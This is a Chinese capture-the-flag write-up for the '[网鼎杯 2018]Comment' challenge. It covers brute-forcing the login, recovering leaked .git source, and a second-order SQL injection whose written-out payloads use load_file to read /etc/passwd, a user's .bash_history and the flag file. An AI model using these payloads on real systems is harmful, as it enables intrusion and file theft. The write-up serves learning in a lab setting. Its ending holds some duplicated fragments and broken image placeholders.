使用环境为https://adworld.xctf.org.cn/challenges,搜索题目[网鼎杯 2018]Comment。
进入环境,发现为一个留言板,点击发帖试试。
尝试发帖
跳转到登录页面,根据提示使用burp进行暴力破解。
发现payload为666时状态码不同。
尝试密码为zhangwei666发现登录成功。
使用awvs进行扫描。发现存在.git目录,并且存在git泄露漏洞。尝试使用githacker恢复源码。
刚恢复完是一段残缺的代码,需要进行恢复到完整代码
git log --reflog
git reset --hard 版本
完整源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
分析代码可知,当do=write时,传入的参数中的单引号均被过滤掉,而当do=comment时,category被直接拿来用,没有被过滤单引号,那么二次注入点就在此。
构建payload:
在do=write时,title和content随便写,将category写成下面payload
',content=database(),/*
然后在do=comment时,将content写成
*/#
也就合成了一个查询函数
$sql = "insert into comment
set category = '',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
查询flag是根据网上的资料查找的。
查看当前登录的用户
',content=user(),/*
得知使用者是root权限
sql注入读取本地文件,使用load_file()
/etc/passwd这里存储用户信息
',content=(select load_file('/etc/passwd')),/*
有一个www用户,查看bash_history
',content=(select load_file('/home/www/.bash_history')),/*
发现有一操作rm -f .DS_Store删除了.DS_Store这个文件。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换。
',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
全部复制并且进行ascii 十六进制解码。
发现有一段flag_8946e1ff1ee3e40f.php,尝试查看这个文件
',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*
发现为空,那就加上hex尝试
',content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*
解码
得到结果
<?php
$flag = 'flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}';
?>
但是提交答案发现是假的,尝试其他目录
',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
解码
<?php
$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";
?>
ee3e40f.php’))),/*
[外链图片转存中...(img-EZ2sqSXR-1722830529065)]
解码
[外链图片转存中...(img-OSTJQXO8-1722830529065)]
<?php $flag="flag{0dd14aae81d94904b3492117e2a3d4df}"; ?>
得到正确的flag